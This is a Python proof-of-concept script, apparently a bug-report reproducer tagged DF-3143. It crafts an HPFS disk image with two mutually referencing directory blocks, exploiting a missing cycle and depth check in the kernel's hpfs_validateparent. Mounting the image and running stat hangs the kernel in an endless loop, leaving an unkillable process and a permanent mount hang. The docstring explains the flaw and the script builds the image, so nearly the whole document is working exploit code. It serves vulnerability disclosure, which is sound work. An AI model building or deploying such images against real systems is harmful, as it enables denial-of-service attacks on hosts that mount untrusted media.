DF-3143 / craft_img.py
#!/usr/bin/env python3 """ DF-3143 -- hpfs_validateparent (sys/vfs/hpfs/hpfs_subr.c:522-650) has no depth bound and no cycle guard on the B-tree dive: while(!(dep->de_flag & DE_END)) { :598 if(dep->de_flag & DE_DOWN) { lsn = DE_DOWNLSN(dep); level++; goto dive; } :599-602 ... if(dep->de_flag & DE_DOWN) { lsn = DE_DOWNLSN(dep); level++; goto dive; } :613-617 DE_DOWNLSN is a raw on-disk LSN (hpfs.h:114). Two dirblks whose END entries point at each other => infinite bread/dive loop holding the vnode locks -> unkillable process, permanent mount hang. Image: root fnode 0x20 (dir, leaf -> dirblk A @0x40). A's single dirent has flag DE_END|DE_DOWN with down-LSN 0x60 (B); B's single dirent has DE_END|DE_DOWN with down-LSN 0x40 (A). `stat <mountpoint>` -> VOP_GETATTR on the root -> H_PARVALID clear -> hpfs_validateparent -> dive A -> dive B -> dive A -> ... forever. usage: craft_img.py <out.img> """ import struct, sys SECTOR = 512 IMGSEC = 0x1000 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE DE_DOWN, DE_END = 0x0004, 0x0008 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, IMGSEC) wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) # bitmap all-busy rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) # root's first leaf -> dirblk A wr32(rf + FN_OFF_SIZE, 2048) # two mutually-diving dirblks; each has ONE dirent: DE_END|DE_DOWN, # down-LSN stored at dep + reclen - 4 (hpfs.h:114) for self_lsn, down_lsn in ((0x40, 0x60), (0x60, 0x40)): db = self_lsn * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 2048) # d_freeoff (unused here) wr32(db + 8, 0) # d_chcnt wr32(db + 12, 0x20) # d_parent wr32(db + 16, self_lsn) # d_self dep = db + 20 reclen = 0x24 # 36 wr16(dep + 0, reclen) wr16(dep + 2, DE_END | DE_DOWN) wr32(dep + 4, 0x999) # de_fnode (never matched) img[dep + 0x2E] = 0 # de_namelen wr32(dep + reclen - 4, down_lsn) # DE_DOWNLSN -> the other block with open(outpath, 'wb') as f: f.write(img) print("wrote %s: cyclic dirblk pair 0x40 <-> 0x60 (DE_END|DE_DOWN)" % outpath) if __name__ == '__main__': build(sys.argv[1]) |